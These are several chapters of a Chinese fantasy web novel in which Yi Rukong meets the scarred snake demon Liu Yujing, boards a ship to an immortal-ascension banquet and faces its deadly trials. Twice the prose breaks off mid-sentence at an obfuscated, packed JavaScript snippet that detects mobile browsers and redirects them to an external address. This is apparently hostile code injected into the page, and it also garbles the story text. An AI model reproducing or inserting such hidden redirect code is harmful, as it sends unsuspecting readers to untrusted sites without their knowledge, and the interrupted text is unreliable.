“竟、然、是、你。” 亦如空拿到妖丹,料想巨蟒会来抢夺,已做好应对之备,却不料对方竟说出这四个字。 他有些意外,抬眼看去:“你认识我?” 惨绿蛇鳞在月色下散发着诡异的光泽,亦如空看来看去,全无与之相关的记忆。 连对方是何品种,一时间也不好判定。 不过,经历方才的记忆幻境,亦如空正对自己的记忆力有所怀疑,他不由想,难不成,对方也是被自己遗忘的一部分? 巨蟒庞大的头颅从空中垂下,残破的蛇脸缓缓凑到亦如空眼前:“你不认得我,我却是牢牢记得你,而且……永远也忘不掉……” 蛇都喜欢这般说话么? 亦如空不着痕迹地后退一步:“真不巧,我刚刚才知道自己有点容易忘事的毛病,或许是年纪大了,好多事情都记不得了。” “而且——”亦如空补充道,“我最近遇见的蛇实在太多,真不知你是哪一条。” “……”巨蟒用那只血红的独眼打量亦如空,“你方才抢了我的妖丹,这眼前发生的事,总不能推说是忘记了吧?再加上以前的,你欠我的,可就多了。” 亦如空皱了皱眉:“我从不欠任何人。” “哦?不然吧……”巨蟒吐一吐蛇信子,“你若不知道,我可以帮你回忆……” 巨蟒的脑袋继续凑近,亦如空微微屏息,再次后退几步。 按理说,蛇的视力总归都不会太好,这碧色巨蟒只有一只眼睛,眼神竟是不错。它捕捉到亦如空脸上细微的神色,终于看明白对方的意思,蛇眼放出凶光:“你竟敢嫌弃我?!” 这话带着几分恼羞成怒,嗓音都扯破了,先前乍看之下的神秘强悍荡然无存。 亦如空脚下一顿,理所当然道:“难道不行?” 巨蟒一阵气结:“你……好、好,我这才知晓你是这样的人,从前你一副死样,不过长了副好皮囊,我还以为你会是什么正人君子,还好心为你找到一处洞天福地安葬,你却恩将仇报……” “等等——”亦如空打断他,“是你将我放进那黄金棺材的?” “还能有谁?” 亦如空沉默片刻:“你是在何处发现我的?” “南魍洲,神照山,地底深处。” “你可知道我是谁?” “你是我从土里捡起来的死人!若不是我,或许你已经被野兽吃了个干净,哪有今日起死回生的机会?” 这话却是全无道理,亦如空既然沉眠地底,又何来野兽侵扰,加上对方夸张的语气,实在很难不怀疑这是在无理取闹。 不过亦如空已明白,这巨蟒并不知晓自己的来历身份,它最初见到的,是那个已经被天雷撕碎法身的自己。 亦如空一时也不知是该松一口气,还是该感到失望。 偌大世间,可能确实再无人知晓他的存在,外面那些虚无飘渺的信仰膜拜,不过拜的是一个象征罢了,世人只知应空神兽,无人知晓他亦如空。 巨蟒不知亦如空在想些什么,以为他不信,于是又道:“口说无凭,还好我有记事珠一枚,你看过就知。” 说罢,也不等亦如空反对,大嘴一张,喉咙口飞出一颗莹白的珠子,朝着亦如空眉心弹来。 亦如空立马侧身躲过,眼看着那珠子掉进洞穴通道,又转眼看见巨蛇张着嘴僵在原地,淡淡道:“抱歉,这珠子沾了你的蛇口水,我下意识便……” 那巨蟒闻言,似乎恼怒非常,一个腾空而起,碧光闪过,身影骤缩,遮空蔽日的碧色巨蟒,竟转瞬间化为人形,变作一个身着绿衫的青年男子。 虽化作人形,但他左边脸的上半截,仍是皮翻肉卷,疤痕遍布,惨不忍睹,右边一半,倒是称得上白皙清秀。 那碧衫的瘦长身影悬于深渊上方,双拳紧握,右脸上唯一完好的一只细梢眼满是怨毒,狠狠射向亦如空,其中愤恨,好似亲父母死在了亦如空手里。 碧衫青年一字一句,怨愤道:“我、最、恨、别、人、嫌、弃、我。” 亦如空见他快要情绪失控,劝导道:“你不如冷静冷静,我也不是定要拒绝,那珠子若是洗干净,还是可以……” “啊!——”那悬在半空的人影气得打颤,大叫一声,如离弦之箭一般,转瞬冲到了亦如空的眼前。 他一手成钩,试图扼住亦如空的脖颈,亦如空闪身避过,准备还击,谁知对方那只一击未中的手并没有就此作罢,而是拐了一个弯,不断延长,如蛇一般弯曲扭动,缠在了亦如空身上。 亦如空头皮一麻,这绿蛇妖的另一只手也这样原封不动复刻,缠上他的身体,将他通身上下牢牢捆住,压倒在地。 亦如空被勒得有些气喘,轻咳一声:“你这招式很实用,但却让人有些起鸡皮疙瘩。” 他被那冰冷冷的蛇状胳膊死死缠绕着,一方面被勒得难受,另一方面,触感和视觉上更是不忍直视,心下甚至想着,宁愿继续跟那赤虚蛇面对面,也好过这样,勒不死也会被恶心死。 “少废话!”绿衣蛇妖将那半张惨白妖异的脸凑在亦如空眼前,细梢眼眯成一隙,冷笑道,“真没想到,长眠多年,你竟然就这么醒过来了,还杀了我留下看守你的守金蛇,逃到这里,但是你没料到吧,无论天涯海角,五洲四海,我依然能找到你。” 话罢,那怪笑的薄唇间蛇信子一闪,得意地扫在亦如空的下巴上。 亦如空扭头闪躲,实在恶心,他在束缚中动动手指,想着唤醒忘尘椎,干脆快速结束这场奇怪的插曲。 他还要拿着赤虚蛇的妖丹前往海岸边,去找那前往升仙宴的大船,翘枝已经在海岸附近等他,若按照冥老所说,此刻距离开船,只剩几个时辰的时间。 碧衫青年看出他手上的小动作,两条胳膊上的手指竟也迅速伸展延长,如同一根根弹性十足的肉质绳索,将亦如空的双手十指也尽数缠死。 那寒凉的触感让人喉头发腻,亦如空蹙眉道:“……你不如变回蛇形,用人的模样做这种事,你不觉得很诡异?” 碧衫青年冷笑道:“不觉得,我非要让你知道,我柳玉京,是你的债主,曾被你毁掉上千年的修为,你可别仗着当时无知无觉,便想当这事没有发生过!” 亦如空道:“自相矛盾,你都说我当时无知无觉,既如此,又怎么毁你的修为?” 柳玉京眼中几乎喷出火焰,他虽愤懑,但亦如空又确实没有撒谎,他当时的确是一无所知,可柳玉京的修为被毁,也实实在在与他有关。 “还好我另有准备,免得你不认账,我这就帮你回忆回忆,省得你以为我拿假话诓你。”柳玉京道,“我一向讲道理,乐意让人死个明白。” 亦如空艰难地动了动被束缚的肢体,道:“不如你先放开我,不管什么事,我们起码用体面一点的姿势来谈。” 柳玉京冷哼一声,并不松手,而是变幻出他那根残缺的蛇尾巴,蛇尾从衣袍底下伸出,将不远处落在尘土里的记事珠卷了起来。 他将记事珠放在亦如空的额心,用尾巴碾碎。 见对方面露嫌弃却不得不承受,柳玉京得意道:“这记事珠,是用赤虚的毒液,忆灵槐的树脂,再加上诸事蚁的巢穴泥膏,炼制而成的,这一颗里,装的就是你欠我的事,你可好好看清楚!” 亦如空眉心刺痛,未及开口,一段不属于他,却关于他的记忆,蓦然涌入脑海。 那是神照山的地底深处。 一片黑暗中,一条遍体鳞伤的蛟蛇正快速穿过幽深狭长的通道,它身上带着潮湿的水汽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424064|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肉翻卷的伤口上尽是烈火炙烤的焦痕。那些伤口在泥土岩石上摩擦,鲜血融进泥土,泥土填进伤口,好不惨烈。 但是它似乎顾不上疼痛,拼死往地底深处钻行,被它甩在身后的,是倾盆的大雨,和响彻天地的轰隆雷鸣。 直到钻行到地下极深处,完全听不见地面的惊雷声后,它才终于松了一口气,停了下来。 周身的伤剧痛难耐,不过好歹修为道行还在,只要妖丹未损,盘踞于此,调息修行个十数年,还有恢复的机会,但偏偏这时,它感受到一股要命的奇异能量—— 那是一种纯粹的灵能,或许是它伤重之下的幻觉,只觉得那气息格外温暖诱人,引得它不顾遍体的疼痛,继续挤开泥土岩砾,朝着那气息靠近。 直至进入一个地下空腔内,蛟蛇终于找到了那气息的来源。 那是一个蜷缩着正在沉睡的男人,通身赤.裸,散发着莹莹白光。 他面容平和,仿佛只是睡着了,但却毫无生气,胸口没有丝毫起伏。 蛟蛇不明白,为何地底深处会有这样一个不腐的死人,但它知道,这绝不是一个普通的死人,因为对方散发的光芒圣洁如同神灵,其中蕴藏的能量更是叫人垂涎欲滴…… 这不是送上门来的大补之物吗? 谁知道,一口咬下之后,蛟蛇并没有摄取到那诱人的灵能,反而自己的灵力一滞,眼前金光大作,只觉一阵抽离之痛,而后,蛟蛇修炼千年、刚刚还躲过雷劫的妖丹,就这样,生生裂成了两半…… 这记事珠倒着实神奇,亦如空仿佛身临其境,不过,却是以这巨蛇的视角。 “等等,”亦如空晃晃因为他人记忆涌入而有些晕眩的脑袋,“明明是因为你自己恶念上头,想要吃掉我,才引发的后续,你竟全怪在我身上?” 柳玉京恨声道:“吃你又如何?弱肉强食,天经地义,当时要么我吃了你,要么你反过来杀死我,我若死于你手,也就罢了,偏偏因为你毁了我的修为灵力,却又没有要了我的命,你叫我如何不恨,我找你算账,也是天经地义!” 亦如空沉默一瞬:“那你恐怕要失望了,我还不了你修为,你还不如去怪那雷劫,或许你的妖丹,在经受雷劫时便已经受损,只不过挨到那时才碎裂。” 柳玉京一想:“也是,你没有心跳呼吸,仿佛一具尸体,我当时气急,后来想想,蛰伏千百年,只为等一具‘尸体’醒来,叫他还我灵力,确实很不现实。” 亦如空无语:“你既然已经想明白,那何必还要如此。” 柳玉京突然笑起来,半边完好的脸上,削薄的嘴角一勾,露出个不怀好意的笑容:“多年来我苦心修炼,修为嘛,大不了重头再来,但只有一件事,是我抹不去的心头之憾。” 亦如空静静看着他。 柳玉京幽幽道:“你可能不知道天雷的滋味吧,你可知,那天雷造成的伤痕,永远不可淡去?” 亦如空心想,这世上可能没有人比我更知道天雷的滋味,寻常众妖升阶,经历三道雷劫,而当初劈碎他法身的天雷,何止千道万道。 柳玉京见对方不说话,便继续道:“你看看我如今这副样子,这便是天雷的杰作,你先前那般嫌弃我,就是因为我面容丑陋,对吧?” “那倒不是。”亦如空没有说谎,他只是平等地嫌弃每一条蛇。 “没关系。”柳玉京根本不管他说什么,只是自说自话,“因为我很快就不再是这副样子了,我四处夺取赤虚蛇的妖丹,为的就是修炼赤虚独有的妖术,给自己换一副皮囊,当然,不是换成他那种恶心样子。” 柳玉京一只竖瞳蛇眼目光灼灼,细细打量亦如空的脸:“而世上最好的皮囊,我已经找到了,我精心保存许久,不久前不慎遗失,现在,失、而、复、得。” 12.大雾 听到这话,亦如空笑了。 那灿若星辰的眼睛一弯,昏暗里有如繁星揉碎。 柳玉京近距离凝视他的笑容,独眼一阵发亮,然而还没等他欣赏够,手上骤然一阵蚀骨钻心的剧痛。 柳玉京心下一惊,双臂立刻变回原样,被迫松开亦如空。 没了束缚,亦如空立刻翻身而起,落在一旁,冷眼看着柳玉京捧着被烧融半个指头的手痛叫。 “不好意思,你想要的,好像没本事拿走。”亦如空淡淡道。 柳玉京盯着那点融进亦如空袖中的金色光芒,残缺面容上尽是愤恨,咬牙切齿道:“看来,你逃走的这段日子,颇有些奇遇啊。” 亦如空懒得理他,只道:“我还要赶着时间去赴宴,就不多奉陪了,再见。” 亦如空转身就走,柳玉京在后头叫他:“你是要去那升仙盛宴,对吧?” 闻言,亦如空脚步稍顿,但并未回头:“是又如何?” 柳玉京阴阴地笑起来,露出尖牙,怪声怪气道:“没什么,关心你罢了,宴会上刀光剑影的,实在危险,可一定要保护好你这张脸哟,那可是我的宝贝。” 不知所谓。亦如空懒得理他,加快步伐,向着枯井方向而去。 柳玉京倒是没有追上来,这甬道亦如空先前走过一次,回程虽然仍在黑暗中摸索,但总归顺利了许多。 亦如空踩着井底堆叠的尸首,跃出井口,那何家少爷倒是没跑远,此刻正费力拖着一个大口袋,往这井边而来。 何云迢见亦如空突然从井里冒出来,吓了一跳,没想到对方竟还能完好无损地回来,一时惊讶道:“那……那蛇妖呢?” 亦如空抛起那枚妖丹,再抓回掌中:“死了。” “死、死了……”何云迢完全呆住了。 亦如空看看他身后的大口袋:“那是什么?” 何云迢回过神来:“哦……这是雄黄。” “你不是说,那蛇妖不怕雄黄么?” “是不怎么怕,但蛇总是讨厌雄黄的,聊胜于无……不过现在既然蛇妖已死,那这些也就没用了……” “不,”亦如空想了想,“还是备着吧,那条蛇是死了,但里头还有一条更惹人厌的。” “还、还有?另一条?”何云迢闻言,吓得又是一愣。 亦如空也不管他,正要离开,何云迢却扑过来抓住他的衣袖:“大师,仙师,既然还有别的蛇妖,你可不能丢下我在这里啊,你法力高强,不如好人做到底,帮我除了妖邪。” 亦如空道:“我另有要事,没了先前那妖蛇威胁你朋友的安危,你自然可以放心离去,也不必在苦守在这里——若你还想守着这宅子……便将这枯井填了吧。” 亦如空不着痕迹地抽出衣袖,正要走,又想起什么,道:“你这雄黄,能给我一些吗?” “当然、当然可以了。”何云迢连忙扯开口袋,露出里面一捆捆的油纸包。 亦如空伸手拿出一包,揣在袖中,道:“多谢。” 说完这两个字,他便不再停留,转身离去。 一夜之间风云变换,何云迢连日以来缺乏睡眠的头脑昏昏沉沉,一时忘了作何反应,只能怔怔看着亦如空离去的背影,久久未动。 亦如空一路脚不沾尘,破开晨曦中的水汽,穿过那层叠密林,终于赶到海岸边。 东方既白,朝阳初升,晨风拂在脸上,把先前洞窟内残留的腥气彻底吹离。 亦如空回到最初登岛的海岸边,那棵标志性的巨大檫木仍在原地,但看这海岸的样貌,总觉得变了副样子。 “师——父——” 他正回想间,听见远处传来翘枝的声音。 亦如空循着声音望去,看见一艘大船,上面烟雾袅袅,乍看以为着了火,翘枝就在那烟雾里的桅杆顶上,使劲向亦如空挥舞它短小的兽爪。 大船似乎刚刚离岸不久,亦如空脚下几点,快速踏过水面,最后掠过船舷,稳稳落在甲板上。 翘枝兴奋地从桅杆顶上一路跑下来,跳到亦如空身边。 “看见了没有?我就说我师父能及时赶到,这下你们还有什么好说的?”翘枝对着甲板上其他人喊道。 桅杆底下聚了一堆人,正拿着刀剑棍棒,有的还举着熏烟,原来是在驱赶桅杆顶上的松鼠翘枝,只是这小兽爬得太高,众人一时拿它没有办法。 “你这小妖怪先别得意,”一个举着长竿的男人看一眼亦如空,对翘枝道,“你这所谓的师父要是拿不出妖丹,到时候我们要扔进海里喂鱼的,可就不止你这只耗子了,还有你这位师父。” 亦如空不待他话音落下,便信手一抛,将那枚散发着红光的妖丹抛给对方。那人连忙丢开长竿,双手去接。 一堆脑袋凑了上去,七嘴八舌道:“真是妖丹,好像还是上千年的玄妖?” “拿符纸来验验!” 妖丹被放在一张四四方方的黄色符纸中间,片刻后,符纸上的字符闪过一阵绿光,检验的人点点头:“没问题。” 众人这才收了架势,对亦如空道:“可以了,进舱里去吧。” 船舱里拥挤不堪,亦如空一踏足进去,便有些后悔。 船舱里满是大大小小的妖兽,一个个奇形怪状,气味难闻,闹闹哄哄。 亦如空觉得这场面有些眼熟,自己刚来到东淤洲之时,那船舱里也是这个场面,不,现在似乎还要更糟糕些,毕竟那时,至少还有笼子,而不像现在这般—— 遍地都是乱窜的小怪,一只三眼蟾蜍甚至直接跳到亦如空的脚背上。 亦如空果断抬脚,将它甩到了船舱对面。 “我还是去外面吧。”亦如空道。 他刚走到舱门口,便被刀剑拦住去路:“到达目的地之前,请待在船舱里,不要出来。” 亦如空看那人一眼,这些人看起来修为并不高,如何拦得住他,不过转念一想,既然是赴宴做客,还是听从主人家安排为宜。 翘枝也来拉亦如空的袍角:“师父,忍耐一下,这是最后一艘船了,本就是运送这些小妖怪的,接前面客人的船已经开走了,咱们只能将就将就。” 亦如空只能寻了个稍微干净一些的角落,勉强立足。 他目光扫过舱里那里黏糊糊丑兮兮的小怪物,道:“莫不是冥老骗了我,这些小妖怪,可不像是能取到什么玄妖妖丹的样子。” 翘枝道:“这个我已经问过外面那些应空门的人,据 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蟹精挥舞着钳子,吐着泡泡道:“修炼哪那么容易,反正进了这升仙大会,我等就能直达仙界了,还努力什么,这资格我可是等了好几年!” 一堆小怪都跟着附和,吵吵嚷嚷一片。 有妖怪跟亦如空说过话,剩下那些胆小的似乎也不怕了,都大着胆子向亦如空靠近。 那三眼蟾蜍再次跳到亦如空脚边,咕呱两声,喃喃道:“好香……好舒服……” 亦如空蹙起眉头,翘枝看出他脸上的嫌弃,不禁问道:“师父,若我也是这副没毛的丑相,师父你还会留下我吗?” 亦如空想了想,默默用脚将再次靠近他脚边的蟾蜍怪推远。 “长毛的,总比光溜溜的好。” 翘枝看在眼里,听在耳里,心中感慨,忍不住摸摸自己的大尾巴,心道,以后可得好好保养这身皮毛,毕竟,师父喜欢毛茸茸啊。 船仍在行驶,海面上渐渐起了大雾,亦如空用忘尘椎将舱壁烧出一个破洞,朝外看去,只见白茫茫一片,海天的边界完全模糊,看不分明。 那寒凉的水雾带着一丝若有若无的香气,渐渐涌进了船舱内部,雾气如同有重量一般缓缓沉降,将那一堆小怪物都笼罩其中。 “师父……好困啊……”翘枝打起了哈欠,“我肯定是昨夜连夜赶路,没有睡好……” 翘枝说着说着,渐渐没了声音,亦如空低头一看,松鼠已经在他脚边睡了过去。 不止如此,他去看其他小妖,竟也都纷纷昏睡,船舱内骤然安静下来。 亦如空将翘枝捡起来,见松鼠呼吸起伏,好像确实只是睡着了,松了一口气,将其放进袖中。 实在太安静了,就连船舱外那些人走动的声音也戛然而止。 亦如空小心翼翼避开那些横七竖八酣睡的妖怪,走出船舱外。 这一回,没有人上来拦他,因为在白茫茫的雾气中,甲板上那十数个应空门人,已完全不见踪影。 亦如空四处查看一周,确实半个人影都无。 那些人,竟好像在这片大雾里彻底消融了。 13.盛宴序章 飘渺寒凉的云雾,带着诡异的腥甜和幽香,将亦如空紧紧包裹其中。 那雾气浓得能看见实质,浓白的水汽纷纷降下,不消片刻,便沾湿了亦如空的长发和衣袍,每呼吸一口,胸腔内部都好似浸在水里。 这奇怪的雾气,恐怕就是这些小妖怪昏睡的原因,对亦如空虽然无用,但这潮湿的气味实在令人难受,呼吸间,如同快要在空气中溺水一般。 亦如空于是撕下一块衣角,围住下半张脸,勉强遮挡一些水汽。 他立在浓雾中的船舷上,整个海面平静得如同坟茔,无风无浪,听不见任何声音,看不见其他颜色,只有无尽的白笼罩着整个世界。 然而风帆未鼓,船却依旧平稳地行驶着,海面之下,好似有一只巨兽,正无声地驮着这艘大船,在寂静中驶向未知。 “这算什么待客之道。”亦如空心中暗道。 看来,这升仙宴的主人答叵,是个喜欢装神弄鬼故作神秘的。 如此也不知过了多久,正当亦如空以为,这白雾中的死寂,会持续到地老天荒时,远处突然传来一些声音。 那声音来自四面八方,初听以为有无数人在窃窃私语,渐渐的,声音听得分明了,才发现是交错的丝竹鼓点。 好像有千百个乐师在这片浓雾中的海上奏乐,乐声渐渐激昂高亢,乍听觉得欢快喜人,然而不过片刻,便好似厉鬼催命般急促嘈杂,叫人心绪不宁。 亦如空定定心神,再去听时,又发现那乐声恢复了正常,喜庆欢快,好像真是筵席开场前迎宾的喜乐。 亦如空不知惧怕,到了此刻,他还真想见识见识,这宴席究竟是个什么场面,还有哪些花样。 合着乐声,远方传来呼喊声: “呜——呼——” “呜——呼——” 一个方向响起呜呼之声后,四面八方皆跟着吟唱回应,那声音雄浑粗狂,犹如数千个船工在齐声吆喝。 随着这声音,浓稠白雾之中,渐渐出现了其他颜色,那是一团团扎眼的猩红,在一片苍白中显得尤为跳脱。 那些猩红在白雾中缓缓降落,其中一团,向着亦如空所在的船只缓缓飘近、降落,离得近了,亦如空才看清,那原来是一只半人高的大红灯笼。 灯笼里燃烧的火焰颜色怪异,竟是鲜嫩的桃红色。 亦如空正看着那灯笼里的飘忽火焰,忽听一声尖锐的呼哨,浓雾渐渐开始分散、聚拢,最后凝成一团团白色的雾球。 又是一声呼哨,那些悬在半空中的雾球同时快速坠落,砸在船舷海面上,眨眼消散无形。 遮天蔽日的浓雾,就这般转眼尽散。 待到视线清明之后,亦如空放眼望去,见除了自己所在的这艘船,周围还有另外五六只大船,船头皆有一盏红灯笼。 而在这几艘船之外,却不再是空旷无垠的海面,而是一圈雕梁画栋、灯火通明的楼宇。 楼宇被高高支起,悬空于海面上,好似浮空。 而头顶那片被楼阁围成圆的天穹,竟已是一片漆黑。 明明出发之时还是早上,这才过去多久,为何天都已经黑了? 除了时间,空间似乎也不对。 亦如空环视一周,那些亭台楼阁挤在一起,围成了圈,并未留有缺口,也不知船是如何驶进来的。 这些楼台不合常理,可离奇的是,它们实实在在存在着,并非海市蜃楼的幻境。 谁能在大海上修建如此庞大高耸的楼宇? 亦如空一时没有看出玄机,而除他之外,其他船只上,也稀稀落落立着一些人影,正满脸诧异地看来看去,还有更多的,都横七竖八倒在甲板船舷上,应当也是因为那浓雾而昏迷不醒。 此时高阁上突然传来一串笑声,音色清脆稚嫩,像是小孩子的声音。 清醒着的人仰头看去,见高阁上有十来个垂髫总角的小童,正围成一圈,趴在栏杆上俯视来客。 这些小童穿得花花绿绿,脸蛋上抹着红扑扑的胭脂,各个眉开眼笑。 其中一个年纪稍大的女孩笑嘻嘻喊道:“醒着的,别愣着了,赶紧都上来吧。” 女孩喊完,咯咯笑起来,其他小童也跟着笑,蹦蹦跳跳拍起了巴掌,像是看见了什么极为有趣的场景。 另一艘船上有人叫喊道:“我们怎么上去?这么高,这里连个梯子都没有!” 女孩拍拍手掌:“哎,我怎么忘了。” 说完,她指挥着其他小童,一人丢下一根红色的线头,从高阁上垂下来。 “上来吧,诸位。” 喊话那人离得近,伸手勾过一条红线,道:“开玩笑么?就用这个?” 楼上的孩子笑道:“诸位都要成仙了,会飞也不是难事吧?” 这时,亦如空右手边不远处的一艘船上,腾空飞起一个绿衣人影,他连那红线都没有碰,像是一只翠色的鸟平地飞起,凌空还不忘转个身,朝着亦如空的方向眨了眨眼。 那人的左脸上,覆盖着半边白色的面具,面具上,照着他的右半边脸,画了半副五官,描着长眉细眼,虽画得一模一样,但毕竟无神,看起来免不了僵硬怪异。 他的右眼倒是精光四射,此时正对亦如空抛了个得意的眼色。 冤家路窄,这竟是那变态丑蛇柳玉京。 亦如空面不改色,默默摸了摸袖中的雄黄。 柳玉京炫技一番,一个翻身,转眼便落在了小童们所在的那层楼上。 小童们叽叽喳喳,为他鼓掌祝贺,不多时,其中一个孩童便牵了柳玉京的手,拉着他进那楼阁中去了。 旁边又有几人跟上,接连不断腾空而起,拉着红绳借力,上了高楼。 亦如空一时不动,现在,这下头还清醒站立的,只剩他和先前那个喊话的人。 那人身形壮硕笨重,看起来不擅腾空之术,他粗壮的手握着那蛛丝一样的细线,面露难色。 顶上小童在脆生生地催促:“再不快些,可就来不及啰。” 亦如空出声问道:“那这些昏睡不醒的小妖们,又如何上去?” 女孩答道:“你不必操心他们,他们自有他们的去处。” 亦如空心中暗觉不好,尚未厘清,耳边忽然听见轻轻的“呼——”的一声,转眼一看,原来是船头那盏红灯笼。 此刻灯笼里那一点桃红的火焰,如同浇了油般迅速蔓延,转眼覆盖了整个船舷,又快速烧到船舱中去。 亦如空在火焰到来之前,已经抓住红线凌空跃起,另一边那个粗壮汉子没有他的灵活身法,眼看要被火焰舔到,亦如空将红线快速在腕上缠了几圈,脚下一蹬那雕花楼柱,想顺手捞起那汉子。 楼上那女童却突然怒叱一声:“不可!” 一串细针从楼上射来,将那壮汉想要抓住亦如空的手逼退回去,壮汉捧着扎满细针的手,就这么痛呼着摔落回去,桃红色的妖娆火焰,瞬间燃满他的全身。 壮汉在火焰中发出凄厉的惨叫痛呼,不消片刻,那喊声便戛然而止,火焰熄灭,只剩一堆白骨,连着空荡荡的衣物和几点寒芒,落在船板上。 而其他那些昏睡不醒的人,更是不必多说,也已在无声无息中被烧去了肉身,只剩下衣物和白骨。 这火竟只烧人皮肉,对船只和布料没有丝毫损伤,而且其燃尽皮肉的速度,更是快得离奇,绝非一般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442455|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火焰。 亦如空眼见那人化作白骨,已无办法,只能自行扯了红线,脚下一踩栏杆,跃上楼台。 楼上还有先前未进去的人,见了下边的情形,唏嘘道:“我们都是献上妖丹来赴宴的,为何还要这般对待?” 小女孩恢复了笑脸,清脆答道:“妖丹只是敲门砖罢了,要踏进这宴席场内,总得过几个小小的关卡,怎么,难道你心有不满?” “不不不,”那人连忙叠声道,“我能来这里,就已经很是荣幸了,主人家有什么安排,我照做便是。” 女孩甜甜笑道:“那就好,客人,请进屋去吧。” 两个垂髫小童上前去,将那人带进了一间房中。 楼廊里,转眼只剩下亦如空和那个一直在微笑的女孩。 她看着亦如空,问道:“你不问我,为什么不让你救那个人?” 亦如空道:“不问,既然是关卡,那便是有意考验,定然是有只能自行过关的规矩。” 女孩点点头:“对了,规矩就是不能相帮,那么——客人你袖子的那只小妖怪,也请交出来吧。” 亦如空不动,只看着那孩子:“怎么?这宴会上,带只宠物也不行?” 女孩看着他的眼睛,沉默片刻,突然捂嘴一笑:“好罢,本来是不行的,但是我可以为了客人你破一次例,这小妖,你想带就带着吧。” 说完,见亦如空没有回话的意思,女孩又问道:“你不问我为什么破例?” 亦如空道:“我不想问。” 女孩咯咯一笑:“真不知道你这个人到底是热心还是冷漠,一会儿主动救人,一会儿又看着别人被活活烧死,还面不改色,一副什么都不在意的样子。” 亦如空道:“我比较在乎的是,我们什么时候开始下一步?” “客人急什么,”女孩伶俐的大眼睛转了转,笑盈盈道,“你不想知道,我偏偏要说,那是因为,我特别喜欢长得俊俏的人,像客人你这样的,我总是格外包容。” 女孩缓步走过来,轻轻牵住亦如空的手:“跟我走吧,客人。” 她的手小而冰冷,触感十分怪异,亦如空眉头微蹙,终究还是忍耐住了,任凭小女孩牵着他,将他带到楼廊最里头的一间房内。 亦如空这才注意到,他们这些上楼来的人,竟被分别带着进了不同的房间。 房门关起来,不大的屋子里,有一只空空的浴桶,浴桶旁边有个架子,架子上挂着崭新干净的素色道袍,浴桶背后的墙面上,则悬着一副山水图,除此之外,再无其他。 “这是什么意思?”亦如空终于忍不住问道,“看起来是要我们先沐浴更衣,可这桶里,却又一滴水都没有。” 女孩见他终于有了疑问,似乎颇为高兴,面带喜色回答道:“我们这里只有一些小孩子,伺候不周,干不了太多体力活,这里是海上,要千里迢迢取来淡水,运到这楼阁之上,恐怕会累死我们,所以,就要劳烦客人,自己去取水了。” “这澡一定要洗?” “一定要洗,升仙宴上,不容污秽,客人最好给你的宠物小妖也洗洗,若是忙不过来——”女孩红着脸道,“我可以帮助客人你。” 这女孩总角年纪,看着也就十二三岁,说话却老成得像一百二十三岁,一个孩子作出这番姿态语气,叫亦如空颇为不适,心中暗忖那宴会主人答叵,绝非善类。 他只能尽力无视,目光环视一圈,道:“非要洗澡,那水去何处取?难不成……” 亦如空看向墙上那副山水图。 女孩见他目光所指,笑得更开心了:“客人不但长得好看,头脑也聪明,没错,水,就在这幅画中。” 14.画中世界 那是一副画工颇为精妙的山水图,水墨晕染勾画,用笔老道,其间层峦叠嶂,峭壁参天,上有悬崖瀑布,下有江流湍急。 江岸缓流边,还泊着一只小小的渔船。 画幅不大,一眼望去,却似有数百里之深远。 可画中取水,开什么玩笑。 但亦如空意识到,女孩并没有开玩笑。 亦如空动动嘴角:“若早知宴会之前有这么多难为人的花样,还会有那么多人挤破头想要参加么?” 女孩反问道:“难道早知道有这么多花样,客人你就不来了?” 说完,她淡淡一笑:“恐怕不会吧,这盛宴谁不想来呢?升仙之后,超脱凡尘,再不用流连苦海世间,为了这个目标,这一点小小的考验又能算得了什么?” 她小小年纪说出这番言论,实在怪异极了。 亦如空只是听着,没有说话。 女孩继续道:“我家主人向来喜欢做一些谜题游戏,我们这地方久居世外,除了升仙宴,难得见到外人,主人叫我们想出这些关卡花样,也是添个乐子。” 亦如空依然只是听着。 女孩见他神色淡淡,一双杏眼转了转,笑道:“我看出来了,客人其实不信我们这升仙宴真能让人飞升成仙,不过是仗着自己本事大,觉得来这里看看热闹也无妨,是么?” 亦如空开口道:“我本事再大,好像也没有进入画中的本事,宴会主人若是能让人进入这画里取水,那么我承认,他的确是有些常人所不能及的本事,说他能助人成仙,倒也不是没有可能。” 女孩笑道:“我家主人的确本事很大,你很快就能见识到了。” 说着,她从袖中掏出一个细长的小木盒,木盒打开,里面是一支晶莹剔透的毛笔,笔杆莹润通透,仿佛用水玉制成,而笔尖锋颖带着金芒,竟叫人看不出那毫毛的材质。 亦如空看着那笔尖,呼吸一滞,微微眯起了眼:“这是……” 女孩露出十分爱惜尊敬的神色,抬手轻轻抚了抚那笔尖:“这是用应空兽的指骨和须发制成的,这支笔的奇妙,你马上就会知晓。” 亦如空移开目光:“莫不是你要将我画进那副画中去,可是,笔虽有了,却没有墨水。” “寻常的墨水,怎么能配得上这支笔,”女孩道,“我家主人寻了许多年,依然未得与之相配的好墨。” “若无墨水,再好的笔又有何用?” “虽无完全相配的好墨,但眼前也有能勉强可用的。” 说着,女孩一抬手,竟将笔尖狠狠扎进了自己的左手胳臂。 饶是亦如空再淡然,也不免被她突如其来的举动所惊。 “你这是……” 女孩保持微笑,压制着忍痛的神情,道:“主人让我每日勤于修行,食风饮露,努力保持血液干净,我的血来做墨,勉强可用,不算污了这笔。” “……”亦如空简直无话可说。 